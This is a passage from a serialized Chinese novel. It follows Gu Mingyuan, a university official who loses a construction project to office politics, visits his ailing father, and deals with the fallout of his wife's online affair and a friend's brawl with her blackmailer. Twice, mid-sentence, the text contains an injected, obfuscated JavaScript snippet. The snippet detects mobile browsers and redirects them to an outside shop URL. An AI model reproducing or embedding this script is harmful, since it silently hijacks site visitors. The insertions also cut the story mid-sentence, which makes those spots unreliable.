没想到,周青松到底还是在顾明远这里碰了壁。顾明远从孟超办公室出来后,正好碰上听课回来的周濂,对顾明远关于足球场改造的设想大加赞赏。有了校长的支持,顾明远的底气足了许多,回到办公室,不等周青松发话,他便一股脑将周濂的意见说了出来。周青松深谙“大鱼吃小鱼小鱼吃虾”的套路,索性就由着顾明远的性子让他去做,同时不忘在孟超面前再奏顾明远一本。 招标结果公布,刘芳榜上无名。当晚,刘芳特意带了一个刚从音乐学院特招的才艺了得的女秘书宴请孟超,在表达了一番不满后,径直提出要孟超“修理”“修理”不懂规矩的顾明远。 很快,在项目公示期结束的前一天,学校纪委收到了多封举报信,信中言之凿凿:一是中标单位曾因重大安全事故受过行政处罚;二是顾明远涉嫌收受招标公司的好处。 此事非同小可。得知消息的戈大垣当即指示暂停公示、查清事实。经过学校纪委紧锣密鼓的核查,顾明远“收受好处”查无实据,但中标单位受过安全处罚的记录有案可查。按照规定,必须取消招标结果,重新启动新一轮的招标。 招标重启之前,孟超责令周青松召开了一场“专题反思会”。孟超会前特意向周青松交了底:要借这个机会“好好帮助”目中无人的顾明远。 周青松对所谓的“帮助”自然心知肚明。碍于老校长吴若甫的权威,他内心满是纠结。会议室空气滞重,烟雾缭绕。周青松主持得有点心不在焉,不时以喝茶来调整节奏,两个事先安排好的科长到了面对面的时候,忽然将自己的事前的勇猛降了调,说的都是“工作有些教条”、“缺乏灵活性”这样的屁话。 轮到顾明远发言时,大家本以为他会情绪激动地辩解、反驳和申辩,没想到他竟然一字一句地认真做起检讨来,在大方承认自己在审核投标单位资质时“确实考虑不周,调查不够深入”后,表示“虚心接受同志们的批评”,语气平静而诚恳。 顾明远的认错让原本酝酿的问罪一下子落了空,彷佛一拳打进了棉花里,力道被尽数卸掉。孟超的脸色由最初的阴沉,转为一种无处着力的铁青,这让他胸中憋闷却又发作不得。眼看会议就要平静中草草收场,孟超按捺不住临时增加总结讲话,他先是将基建处“独立王国”好好渲染了一番,在众人噤若寒蝉时,又将目光缓缓扫过顾明远,语气陡然转厉:“这件事的教训是极其深刻的。具体负责的同志要引以为戒。工作中不要总是自以为是听不进意见嘛。因为个人失误给项目造成了严重的时间延误和不必要的资金浪费,这个责任可不小咧。”说道这里,他用不容置疑的语调当众宣布足球场项目改由韦江龙全权负责。 话一讲完,孟超站起身冷冷地扫了一眼众人,迈开步子头也不回地离开了会议室。 散会后,韦江龙心里有些不踏实,犹豫片刻,还是来到了顾明远的办公室。刚要开口解释,顾明远脸上挂着温和的笑容:“韦处,你别多心。我觉得让你接手很好呀,我也很放心的。”他非但没有流露任何不满,还主动拉开身旁的椅子请韦江龙坐下说话,将自己所做的一本关于足球场改造的材料毫无保留交给了他。韦江龙原本准备了一肚子的解释与安抚,此刻全然没了用武之地。他觉得顾明远不像是在演戏,心头不禁一热,伸出大拇指说道:“顾处,就两个字,佩服!” 送走韦江龙,顾明远轻轻合上房门,刚才那份刻意维持的平静如潮水般褪去,疲惫和郁闷从眼底深处弥漫开来。刚才会议室里那种“山雨欲来”的压抑气氛让他觉得不寒而栗。自己不是那种推卸责任的人,对于这次工作上的疏漏,他从一开始就没想推诿,只是这种为他专门准备的“批斗会”,似乎不是为了解决问题,而是为了驯服,为了示威,这与顾明远期待的公平公正确实相去甚远。 一股难以言说的委屈和厌倦在顾明远胸腔里沉闷地撞击着。他下意识地松了松衬衣的领口,仿佛那样能让自己呼吸得顺畅一些。每当自己倍感无力的时刻,顾明远总会放任自己的思绪飘向远方,飘向了那个位于鄂东丘陵深处的顾家老屋。在顾明远的眼中,那里有的只是直来直去的单纯和实实在在的温情,那是一种近乎本能的力量,足以轻轻熨帖着他满是皱褶的心。这并非矫情,而是一个在复杂现实中感到疲惫的人的本能反应。 归心乍起,一发难收。顾明远特意向周青松告了假,回到了阔别一年的故乡。 深秋的鄂东丘陵,天高云淡。车子驶离江城,窗外熟悉的景色变如画卷展开。连绵荒草在秋风中起伏,好像凝固的金黄波浪;木子树枝丫横斜,雪白籽实在湛蓝晴空下熠熠生辉,如盛放的花蕊……。这一切,连同同行二姐絮叨的旧事,将顾明远拽回久远的儿童时光:夏夜躺塘埂竹床仰望漫天星斗入梦,假期与伙伴偷来邻居家小鸡仔到河滩用湿黄泥裹着烧烤……。 就在顾明远不能自拔时,车子已停在乡政府外的停车坪。 两人刚一下车,前来迎接的大姐顾春分眼泪就“簌簌”落下。再三追问,顾春分带着哭腔哽咽:“爸……可能得了……肺癌。” “肺癌”如晴天霹雳砸下。顾明远眼前一黑,恍惚片刻才稳住心神。姐弟三人赶紧拦下三轮摩托,心急火燎朝顾家老屋奔去。 仿佛父子连心。顾有余今天破天荒没去隔壁毛旺家上麻将“必修课”,而是拄着磨得油亮的竹杖不停在院坪上转悠,浑浊目光时不时投向村口的蜿蜒马路。 三轮摩托卷着尘土停在屋东头老槐树下。看见儿子钻出车篷,顾有余立刻象孩子似地举着拐杖在空中挥舞,嘴上得意地大声嚷道:“哈哈,昨儿还跟你毛旺叔打赌,说你们姐弟今儿准回来,你看看。” 看着父亲明显消瘦佝偻的身影和不正常的潮红脸色,顾明远眼泪瞬间涌上,赶紧上前将他搀回堂屋里, 刚一坐下,顾有余似乎觉得有些不对劲,剧烈咳嗽一阵后喘着粗气问道:“不对呀,这中秋已经过了个把月,这不年不节的,你怎么突然回来了?” 顾小满反应快,赶紧扯了顾明远回黄冈讲学的幌子。顾有余转虑为喜,仿佛忘了病痛,高声宣布:“好!好!回来得好。现在是堂堂大学副教授兼副处长了。正好,明儿我就去找家友伯,把族谱上‘顾明远’三个字描红一下!”(注:描红是指在族谱上用红笔将本族取得功名者的名字进行勾描,目的是彰显隆重荣耀。)一边说着,习惯性伸手往椅背后摸烟杆,却摸个空——烟杆早被顾小满藏起。只好催着两个女儿赶紧去做弟弟喜欢的“包面”(一种类似水饺的特色吃食)。 一家人正在堂屋里说着话,院墙外忽然由远及近地传来一阵杂沓的脚步声和爽朗的笑语声,像一阵暖风吹进了堂屋里。 “九爷,九爷,听说明儿回来啦?” 声音洪亮,人未到,声先至。 “九爷”是乡邻们对顾有余的称呼。听到声音,顾有余脸上的皱纹顿时舒展开来,拄着竹杖往门口奔去。 院子里已热热闹闹地聚拢了好几位乡亲邻里。打头的正是隔壁的毛旺婶,她手里小心翼翼地捧着个小竹篮,里面装着刚从鸡笼里取出的二十来个新鲜鸡蛋,脸上笑得全是褶子:“没啥好东西,这几个鸡蛋,给明儿尝尝大城市里没有的味道”,说罢,也不顾手上的油腻,一把抓住顾明远剩下打量:“吔,明儿,这才一年,你怎么瘦啦?这回赶紧吃点好的补补。”话音未落,身后胖乎乎的桂珍婶子挤上前来,手中的簸箕里盛满了刚炒好的花生,说是让刚从地里挖的香得很,一边将簸箕交给顾小满一边取消顾明远:“明儿还记得小时候总偷我家枣子的事啵。”顾明远脸“唰”地红了。还是顾小满机灵,赶紧回到屋里将自己从武汉带回来的糕点糖果散给大家,说是弟弟特意带给大家的。 喷着香气的花生,沾着鸡毛的鸡蛋以及乡亲们口无遮拦的笑话,让顾明远被这潮水般的温暖包围着,心里又软又暖,真切地感受到了与城里那充斥着暗示、算计和“批斗”的氛围截然不同的温度,没有虚与委蛇的客套,没有绵里藏针的话语,朴实无华却厚重踏实,足以慰藉他在外所受的所有委屈与疲惫。 等村邻们走后,顾明远郑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904250|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重提出带父亲去武汉大医院检查的想法。顾有余一听皱紧了眉头连连摆手:“费那钱干什么?我现在一直在吃汤郎中的药,管用得很。” 正说着,顾春分端出碗热气腾腾的中药,顾明远凑近一看看,碗里除了几片梨,就是寻常甘草、陈皮,立刻冒起了火:“这就是点润喉甜水呀,这不坑人吗?” 顾有余用竹杖指条桌上几包粗糙黄纸包的中药:“瞎说。那上面都是正经药材,便宜实惠还管用。” 正说着,院子外摩托的轰鸣声由远及近,“嘎吱”一声停在了门口。 顾小满赶紧放下手中的活计,刚到门口,一声惊喜的“汪老板”传进了堂屋。 借着晚霞的余光,顾明远看见一个穿花格子西装、戴大墨镜的男子,手拎几个鼓囊礼品盒,满面堆笑朝堂屋走来。 男子显然认识顾明远。将东西塞给顾小满后,摘下墨镜,夸张地打起招呼来:“哎呀,这是顾处长吧?”看见顾明远一声不吭地打量自己,男子依然情绪饱满:“怎么?贵人多忘事,顾处长不认得我了?” 闻声出来的顾有余看见来人,脸色立刻沉下,用竹杖在地上重重撴了两下,板着脸硬邦邦甩出一句:“你来干什么?”说完扭过身径直回到屋里。 顾小满连忙热情给弟弟介绍。原来,他就是父亲最终恨恨不休的建筑公司老板汪清早。 顾明远心中本能升起些轻蔑,嘴上带几分戏谑:“哦——,你就是汪家湾的那个‘汪二苕’吧?”(注:“苕”在当地方言中有“傻”、“土气”意。) 顾小满嗔怪拍打着弟弟胳膊:“净瞎说,人家现在是正经大老板,叫汪总!” 汪清早似乎毫不介意这带贬损的绰号,反而自嘲哈哈一笑:“哈哈,顾处长记性真好!还是‘二苕’听着亲切,接地气。咱可不就是土坷垃里爬出来的嘛。” 这份自黑的豁达倒有些出乎顾明远意料。他嘴巴依旧不想放过汪清早,便嘲笑起他的一身行头来。汪清早依旧笑呵呵地自嘲:“顾处长见笑啦。我这叫‘学猪扮象’瞎显摆,不是为了充个面子嘛。”顾明远对汪清早的印象莫名又好了两分,觉得这人倒不似想象中面目可憎粗鄙不堪。 汪清早极有眼力。看见顾有余咳嗽着打个趔趄,赶紧一个箭步跨过去将他扶回椅子坐好。顾小满趁机把汪清早带来的精美营养品、名烟名酒堆放在顾有余面前八仙桌上。 顾有余看着堆成小山的礼物,倒不好继续冷脸,叹了口气:“唉,真想不到,你小子读书不上道,这做生意……倒真是块料子。” 得了这句评价,汪清早立刻打蛇随棍上,搜肠刮肚倒出一堆漂亮话来:“九爷您过奖啦。这都是老天爷关了一扇门,又给我开了扇窗。说到底,还是托您九爷当年教导得好。这人呐,只要肯下力气,肯动脑子,老天爷总不会饿死勤快人的。” 话音未落,顾小满骄傲地抢着补充:“爸,汪老板早是百万富翁啦。在武汉买了好几套房。”气得一旁的老公家胜不停地翻着白眼。 汪清早赶紧用力地自谦“还是土老帽一个,比不得顾处长这样吃国家粮的”。 顾明远见他既故作谦卑又难掩炫耀,尤其拿包工头身份与自己大学教师相提并论,心里那点刚升起的好感又消散,便故意提高嗓门朝厨房喊:“大姐,包面好了没?饿得我两眼冒花了。”说完径直起身走向厨房。 汪清早看出顾明远的怠慢,眼底掠过一丝不易察觉的冷笑,脸上笑容一点不减,对顾有余竖起大拇指:“九爷。您真是好福气。明远这么年轻就当上县团级处长,这在咱们十里八乡,那真是……真是……”,他一时想不起合适词,憋了个“一鳞半爪”。 这话顾有余爱听。自打儿子当上副处长后,他感觉自己在乡邻面前腰杆硬了不少。他不客气地看着汪清早教训道:“你呀,还是书读少了乱用词。什么‘一鳞半爪’,应该是‘凤毛麟角’。懂吧?” 汪清早赶紧点头称是。看见顾春分开始往外面端“包面”,顾小满趁机想留汪清早吃饭。这次顾有余倒很清醒,拄拐杖站起看着汪清早说道:“明远刚刚回来,今天就不留你吃饭了。” 汪清早知趣,赶紧往门外退出。刚走到门口又停下脚步,掏出手机索要顾明远的手机号码。顾明远有些犹豫,但看见顾小满急切的目光,只好告诉了他。 顾有余忽然目光炯炯盯着汪清早:“你可别打我们家明远的主意。”说完不忘回头看了顾小满一眼,那眼神分明是“也别想打我家小满的主意”。 晚饭时,顾小满瞪了弟弟一眼,抱怨他对汪清早太冷淡了些。顾有余将筷子拍在桌子上说道:“明儿做得对。对这种暴发户,还是离远点。你们不懂哩,二苕今天是奔着明儿来的。明儿现在是官身,得有点架子。” 顾明远没想到父亲如此清醒,转过头来故意揶揄二姐:“你这么护着汪老板,他给你开的薪水肯定不低吧?” 当顾小满带点小得意报出“三千块”时,顾明远夹菜的筷子停在半空愣住。三千块!这几乎是他这个副教授、副处长月薪的一倍啊。一股难以言喻的复杂情绪涌上心头,他陷入沉默。 晚饭后,收拾好碗筷,顾有余神情严肃地将姐弟三人叫到堂屋八仙桌前坐下。就在大家不明所以时,他颤巍巍地从八仙桌隐蔽抽屉内格里摸出个用旧蓝布层层包裹的小包。他枯瘦的手指哆嗦着,一层层掀开发白蓝布,里面赫然露出三本颜色不同的银行存折。 顾明远心头猛地一沉,脱口问道:“爸,您这是干什么?” “早走晚走,总有那一天。”顾有余看了众人一眼,声音里带着不容置疑的平静:“难得你们三姊妹在一起,今天倒是个机会。”说罢,小心翼翼将三个存折分别放到三个子女面前,声音低沉清晰:“这些年,外头人都说我顾老九爱钱、抠门、钻钱眼儿里了。今天,也让你们瞧瞧,你们的老子到底攒了些什么。”他顿了顿,目光有些得意扫过三个儿女的脸:“这三个折子,是我这二十年,一个子儿一个子儿抠搜下来的。统共两万八千块。不多,也算我这当爹的,对你们尽最后一点心了。” 姐弟三人泪水“唰”地涌出了眼眶。顾明远声音却控制不住发颤:“爸,您别瞎想,我们真不缺钱,这钱您自己留着。” 顾有余扶了扶鼻梁上黑框眼镜,脸上露出一丝如释重负的笑:“没出息,哭啥?爸对自己的病,心里有数。汤郎中毕竟不是华佗扁鹊转世嘛。”接着,指指存折,语气斩钉截铁:“今天当着你们面我把话说明白。老大春分,家里困难,负担重,这一万二,给你。”他拿起一个存折放顾春分手里。又拿起另一个递给顾小满:“小满在外打工不容易,这一万,你拿着。”最后,将另一个存折推到顾明远面前:“明儿,你是公家人,吃国家饭,日子比她们好过些。这六千,给你意思意思。这样分,你们……没意见吧?” “爸!”顾明远再也忍不住,泪水如涌泉一般。巨大愧疚感如同海啸将他淹没。这一刻,他已经在心里狠狠抽了自己无数耳光。从小到大,他一直认为父亲吝啬、贪婪、锱铢必较,甚至为此羞愧。直到此刻,他才痛彻心扉地明白,父亲那被世人误解的“吝啬与贪婪”,原是为儿女积攒的每一分血汗与牺牲啊。 这一夜,顾家老屋里,灯火昏黄。顾明远躺在儿时睡过的木板床上,听着窗外秋虫鸣叫,脑海里翻腾着父亲过往的点点滴滴:为给他凑学费,挑着沉重柴禾走十几里山路去镇上卖;考上大学那晚,父亲一遍遍摩挲录取通知书,浑浊眼里闪着泪花;每次离家返校,在抱怨钱难挣的同时总是会给包里塞进一个信封……。 泪水一次次浸湿枕巾,悔恨啃噬着顾明远的心。 50. 网劫情殇 翌日午饭后,姐弟三人正准备按照计划前往斗方山禅寺为父亲祈福。刚刚收拾妥当,一阵急促的手机铃声便如利刃般划破了屋外午后的宁静。 电话是余丹凤打来的。听筒里传来的背景音有些嘈杂,她的呼吸声急促,开口时那种刻意压低却又掩不住焦灼的声线,让顾明远的心莫名一紧。 “小顾,你在哪儿呢?” 没等他回答,便急急地接了下去:“不管你在哪儿,马上赶回来啊。” 她的语气不容任何置疑却又在关键处骤然停顿,仿佛有什么东西硬生生哽在喉头。 “余处长到底发生什么事?” 顾明远追问,心头那点不安开始扩散。 “电话里……电话里说不清,也……不方便说。” 余丹凤的声音压得更低了,带着一种刻意的回避:“你赶紧回来吧,回来就知道了。快点。”说到这里,通话便被突兀地切断,只剩下急促的忙音。 顾明远握着手机,掌心生出一层薄汗。那“不方便说”三个字像一根冰针刺入了他神经最敏感处。电话是余丹凤打来的,余丹凤和吴雅娟同在人事处……。一股强烈的不祥预感,攫紧了顾明远的心脏。 顾有余一直不安地观察着儿子接电话时的神情,看见他脸色煞白,心知一定是有事情发生,立刻扭头催促两个女儿:“春分、小满,庙里不去了。你们快点帮明儿弟弟收拾收拾,赶紧送他去车站。” 车轮开始滚动,窗外的秋色在急速倒退中模糊成片。顾明远的心却不断下坠,沉向无底的深渊。他猛然想起不久前与好友钟德君的一次聚餐。微醺的钟德君忽然意味深长叮嘱他“现在‘网恋’盛行,小心后院起火”。当时只当是酒后的玩笑,现在细细回味才觉出话中有话欲言又止。联想到上周提前下班回家,撞见吴雅娟正在关着房门对着电话低语,见他进门,如受惊的兔子般遽然挂断电话……。 这些碎片化的记忆,原本散落在日常的角落里,此刻却被余丹凤的电话和钟德君的玩笑串联着像藤蔓般缠绕上来。一个模糊却令人心惊的猜测不受控制地在脑海中滋生:余丹凤口中的“急事”莫非与吴雅娟有关?他下意识地掏出手机,拨打吴雅娟妹妹吴雅洁的电话,听筒里传来的却是持续忙音。他不死心,又接连拨打了人事处长黄剑的电话,结果依然是无人接听。 唯一保持联络的就是余丹凤。可是她总是支支吾吾,除了一句“见面再说”,在电话里再不肯透露半点信息。这不合常理的噤声,如同火上浇油烧炙着顾明远的胸腔。心中的疑窦不再是涟漪,而是瞬间堆积成了沉重的大山压得他几乎喘不过气。 的士刚在校门口停稳,顾明远就看见余丹凤正站在门口焦急地张望。 在余丹凤焦急且有些语无伦次的讲述中,顾明远大概了解了“急事”的内容:一个半小时前,一个名叫刘强的男性网友带着刀闯进人事处吴雅娟的办公室大闹了一场。 听见“刀”字,顾明远的脑袋仿佛被重锤击中“嗡”了一声,本能地问道:“伤人了没有哇?” “幸亏我及时把汪小刚他们喊了上来。不然……不然后果不堪设想啊。你还是赶紧回家吧,雅娟在家等你呢。”余丹凤小心翼翼地表扬自己后,怕出意外,亲自将顾明远“护送回家”。 客厅里笼罩着一种近乎凝滞的寂静。吴雅娟独自蜷缩在沙发的一角,像是要将自己藏起来。听见开门和脚步声,她受惊般猛地抬起头。 顾明远从未见过吴雅娟这般模样——脸庞是一种失了血色的苍白,嘴唇不住地微微颤抖,眼睛毫无光采空洞得可怕,只余下深不见底的恐惧与绝望。她的目光与顾明远接触的刹那,让人感觉像是一个即将被推上审判台的罪人猛然见到了法官。巨大的惊惶和羞愧在她脸上炸开,她下意识地想要别过脸去想要躲避。 “都到了这个份上,还犹豫什么呀,老实向明远坦白呗。”在余丹凤的催促下,吴雅娟心中强撑的堤坝彻底崩塌。大颗大颗的泪珠从她空洞的眼中滚落下来。 在她断断续续的哭诉中,顾明远了解到更多的细节:这两年,为了填补内心的空虚,吴雅娟背着顾明远与一个网名叫“唯一懂你”的男人偷偷交往。“唯一懂你”的真名叫刘强,自称是一家物流公司老板、在武汉拥有两套房产。刘强在网上聊天中的温柔和浪漫很快就俘获了吴雅娟的心。在现实交往中,当得知刘强不过是一家物流公司的搬运工和“两套房产”不过是寄住的地下室后,吴雅娟如梦初醒,急切要斩断这段畸恋,却惊恐地发现为时已晚——刘强手中握有足以让她身败名裂的私密影像。惊慌失措的她单方面切断了与刘强的联系,刘强今天直接闹到了学校……。 吴雅娟吐露的每一个字,都像淬了毒的针狠狠扎进顾明远的心脏。羞耻、愤怒、被愚弄的痛楚瞬间将他淹没。这些年,“网恋”这个词他听得不少,即便钟德君有过暗示,他也万万想不到,这种挑战男人尊严底线的荒唐闹剧竟会发生在校长千金吴雅娟的身上。 看着吴雅娟手足无措、涕泪横流的狼狈模样,听着余丹凤苍白无力、逻辑混乱的安慰,顾明远只觉得大脑一片空白,血液仿佛都已凝固。他盯着吴雅娟,眼神冰冷得像结了一层霜,从牙缝里挤出一句:“自己搬起石头砸了自己的脚。好啊,这下爽了吧?”说罢,拿起外套,不顾余丹凤的阻拦,独自冲下楼去。 顾明远像一具丢了魂的木偶,漫无目的地在校园里游荡。经过小卖部时,他买了一包烟,脚步不听使唤走向了校园西北角那片人迹罕至、林木茂密的山上。 这座校园后山因连续两年有人上吊而显得有些阴森,人迹更是稀少。深秋的萧瑟在这里被放大,风穿过光秃的枝桠,发出呜咽般的低鸣,脚下厚厚的枯枝败叶碎裂作响,每一步似乎都踏在荒芜与死寂之上。 顾明远蹒跚着走到半山腰那座破败的凉亭里。几乎从不抽烟的他,此刻却颤抖着点燃了香烟,一根接一根,仿佛要点燃这令人窒息的现实。辛辣的烟雾悍然闯入肺腑,呛得他弓下腰剧烈地咳嗽,眼泪都呛了出来,可这生理上的刺激,与心底那翻江倒海的痛苦相比,不过是杯水车薪。 一幕幕不堪的画面不受控制地在他脑中轮番上演:那个粗鄙的搬运工刘强得意的嘴脸,同事们背后可能的指指点点,还有吴雅娟在虚拟甜言中迷失的神情……,这些影像交织成一张巨大的、羞辱的网,将他紧紧缠绕,越收越紧,几乎要勒断他的呼吸。 “错误的种子早已埋下……”,一个冰冷的声音在心底响起。当年,面对吴雅娟的任性与虚荣,顾明远不是没有过犹豫。两条本不该相交的平行线,却在外界“郎才女貌”的赞许和他内心深处那一点可悲的虚荣心驱使下被强行拧在了一起。为了证明这份选择的正确,这些年,自己忍耐、克制、付出,用“从一而终”的古训来警告自己,用辛苦的付出来建设家庭。谁曾想,步步退让苦心维持的堡垒,却从内部被蛀空,如今轰然倒塌,留下的只有一片狼藉,自己作为男人和丈夫的尊严,被人无情地踏得粉碎。 石凳上的手机铃声固执地响个不停,屏幕上交替闪烁着余丹凤和吴雅娟的名字。顾明远视若无睹,任由它响到自动挂断。然而,当马骉、王菡、钟德君的号码开始接连不断地跳出时,他犹豫了片刻最终还是按下了接听键。 在众人连拉带劝下,顾明远拖着灌了铅般沉重的双腿跟着他们下了山。钟德君让几位女眷先回去,自己和马骉拥着顾明远来到了“阿芳酒楼”。王菡有些不放心,坚持跟了过来。 几杯闷酒下肚,钟德君支支吾吾地承认:其实两年前就从吴雅洁那里听说过吴雅娟可能“网恋”的事情,去年在汉阳晴川阁附近撞见过吴雅娟和矮个男子一起逛街。马骉一听就炸了,拿起手中的玻璃杯将酒泼到了钟德君的脸上:“你他妈的还是好兄弟吗?!既然知道,为什么不早告诉老顾呀?!” 王菡吓得死命夺下马骉手中的酒杯。 钟德君满脸委屈:“其实我……我当时纠结了好久。因为吴雅娟当时抓了我和别人的现行嘛,我怕老顾误会我是想……报复她故意挑拨离间。再说,当时我也吃不准呀,万一只是普通朋友呢?” “普通朋友?放你娘的狗屁!”马骉气得额头青筋暴跳,站起身来,手指都快指上钟德君的鼻子骂道:“男女之间哪他妈有什么纯粹朋友。你这不是眼睁睁看着老顾戴……看着兄弟吃亏吗?” 顾明远对着马骉摆了摆手:“这事不怪德君,怎么能怪德君呢”,说罢,不停地机械地倒酒、喝酒,倒酒、喝酒。 王菡瞪了马骉一眼吼道:“你就知道赌狠,有什么用呀?既然都是兄弟,能不能冷静帮明远想想办法出出主意,免得那个姓刘的狗急跳墙,捅出更大的漏子来。” 王菡的话正戳中顾明远眼下最迫切的需求。 马骉一拳砸在桌子上:“他敢?明天老子就带几个兄弟,废了那个欠收拾的狗东西。” 王菡用武汉话骂道:“滚一边克(去)!亏你还是老师。” 钟德君一直低头不说话。过了片刻,忽然眼睛一亮,看着顾明远说道:“对了老顾,你不是在派出所有个姓蔡的成教学生吗?他现在应该是所长了吧?说不定可以用得上。” 王菡眼睛一下子亮了起来,催着顾明远赶紧给蔡勋打电话。顾明远拿出电话翻出号码,却犹豫着不愿拨通。钟德君干脆用自己的手机给蔡勋打去了电话。 在费了一番口舌讲清自己和顾明远的关系后,本来态度生硬的蔡勋语气变得和缓了许多,爽快地答应第二天中午见面细谈。钟德君连忙出门从自己车里取回两条烟塞给顾明远:“现在没这个不好办事呢。反正我那里多的是。” 然而,第二天上午,还没等顾明远出发赴约,蔡勋的电话打了过来,让赶快去派出所一趟。 赶到派出所时,只见王菡红着眼圈一个人蹲在门口啜泣。顾明远情知不好,赶紧加紧步子奔了过去。王菡像见了救星一样迎来过来。 原来,今天一大早,马骉和同事调完课后,带着两个朋友寻摸到了刘强打工的物流公司。双方还没有几句言语就动起了手。物流公司报警后,人全被带回了派出所! 顾明远心里涌起感动,生怕马骉在里面吃亏,连忙带着王菡冲进蔡勋的办公室。 王菡慌乱中想从包里掏出两条好烟先“意思一下”,被顾明远一把按住。蔡勋似乎还念旧情,带着“老师”顾明远来到楼上的讯问室。 讯问室里气氛凝滞。马骉大喇喇地坐在椅子上,双手抱胸,一副满不在乎的样子,看见顾明远跟在蔡勋身后进来,他还咧嘴故作轻松地笑了笑:“老顾,你怎么才来?小事一桩,快让蔡所放我们走呗。”说完,挑衅地朝对面啐了一口。 看见马骉完好无损,顾明远和王菡长出了口气。 坐在对面的刘强就没那么“体面”了,额头豁开一道血口子,上衣领子被撕开了一个大口子,被马骉啐了一口后,情绪激动地站起来想反击,被旁边的辅警一把按回椅子上。 这是顾明远第一次与这个给自己带来奇耻大辱的男人面对面。他以为自己会怒火中烧,然而,真正看到这个形容猥琐又有些狼狈不堪的男人时,心中涌起一种悲哀和疲惫,预想中的暴怒并没有在心中燎起,只有一片冰凉的灰烬。这反常的平静,让一旁的王菡心头一紧:顾明远和吴雅娟的夫妻情分恐怕真的走到尽头了。 蔡勋威严地拍了一下桌子:“你俩都给我老实点。马骉,你带人上门寻衅滋事,都够拘留的知道吗?” 刘强闻言,脸是露出喜色。蔡勋的眼睛瞪得铜铃一般:“你得意什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904251|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么?你这也不是第一次进来了吧?偷窃、打架、诈骗,样样精通啊。说说吧,这事怎么解决?” 被揭了老底的刘强赶紧捂着额头抢先开口:“领导,这一码归一码吧。我被他打成这样,怎么的他得赔钱呀,医药费、误工费、精神损失费……。” 话未说完,马骉跳了起来:“放你娘的屁。今天谁先动的手?就你这怂样还想要钱?做梦去吧。” 蔡勋厉声喝道:“马骉,你以为派出所是自家吗?再闹试试看?真想在里面待几天?”吓得王菡赶紧一个劲地催着马骉坐下。 蔡勋转头冷冷盯着刘强:“我看你是想做生意了吧?怎么处理,由得着你开口?你前面的破事还没断干净呢。” 蔡勋每说一句话,都会用余光看上顾明远一眼。有过当年从派出所捞出钟德君的经验,顾明远猜想蔡勋一定又在借机想敲什么竹杠。 果然,训斥完后,蔡勋将顾明远单独带回办公室。关上门后,他脸上刻意维持的威严换成了为难的表情:“顾老师,这事……不好办啊。马骉这行为,确实够得上拘留了。对方伤情虽然不重,但咬住不放,我也很难做。” 顾明远心急如焚,他决不能让好兄弟为自己蹲班房。他也顾不得教师的矜持,一个劲地恳求道:“蔡所,马骉是一时冲动,你看有没有变通的办法?” 蔡勋起身给顾明远倒了杯水,并不接话,却当着他的面吐起苦水来:“顾老师,你们楚江大学的成教文凭还是那么严吗?” 顾明远觉得有些奇怪,据他所知,蔡勋的硕士毕业论文刚刚已经通过,应该不是为了这个的吧。百思不解的顾明远不想猜谜,干脆问道:“你有话直说。” “顾老师果然是个爽快人。唉,其实吧,也不是我的事情。这不我马上可能要调去分局了。现在的副所长是我的兄弟,等着文凭接我的班啊。你兄弟马骉这件事还得他点头才好办的。” 顾明远瞬间明白了蔡勋的意图。事到如今,为了尽快捞出马骉,顾明远没有什么不能答应的。看见顾明远面色凝重,蔡勋立刻换上一副笑脸,虚伪地摆着手:“我也知道你是个讲究人。这事吧,就当我是给你诉苦好了。” 这副“又当又立”的嘴脸,让顾明远恶心得几乎作呕。现实面前不得不低头。当顾明远答应回去帮忙促成此事后,副所长爽快地在放人文件上签了字。临走前,蔡勋还“贴心”地低声对顾明远说:“顾老师放心,那个刘强,我会让他在里面多呆几天,好好学习学习。” 回家后,马骉依旧愤愤不平,嚷嚷着再找机会教训刘强。正在厨房擀面条的王菡气得举着擀面杖冲了出来:“看把你能的。今天要不是明远的面子,你这会儿还在铁笼子里蹲着咧。这事要是传回你们学校,你这老师还当不当了?!” 顾明远深知马骉的暴脾气是为自己出头,心中感动又无奈,也帮着王菡劝慰。 不一会儿,王菡端上两碗香气扑鼻的手擀面。这是她的绝活,面条劲道爽滑,汤头浓郁鲜美。顾明远曾用“唇齿嚼山云自破,柔中带骨胜琼浆”的诗句赞美过。此刻吃着这熟悉的味道,却感觉味同嚼蜡。 看着顾明远低头吃面,王菡小心翼翼地问:“明远……这事,你接下来……怎么打算?” 马骉嘴快,大咧咧地接道:“打算?还能怎么打算?离呗!这种女人还留着过年?” 王菡气得用筷子敲他脑袋:“吃你的面,不说话没人把你当哑巴。”她转向顾明远轻声说道:“明远,你别怪我多嘴。雅娟这次……确实是昏了头,伤透了你的心。毕竟安安都上小学了,这离婚的事……,可得想好罗。说实话,你有没有想过雅娟是被冷落的呢?” “老婆,你到底站哪边呀?”马骉激动得将嘴里的面条险些吐了出来。 顾明远放下筷子,长长叹了口气:“你说得……或许有道理。一个巴掌拍不响。这些年,我是疏忽了她。但这次……她实在过线太多了。”他顿了顿,眼神空洞地望着前方,像是在问自己:“是啊,……安安才八岁呀。” 马骉出乎意料地冷静下来:“老顾,我家菡子说得对,安安是关键。我听说父母离婚对孩子冲击最大的就两个阶段:学龄前和青春期。安安正好卡在中间,当断则断,说不定对安安的伤害没那么大呢。”说到这里,他看了老婆一眼:“安安的学校离咱家比你们楚江大学还近,接送照顾,我们包了,这个你只管放心。” 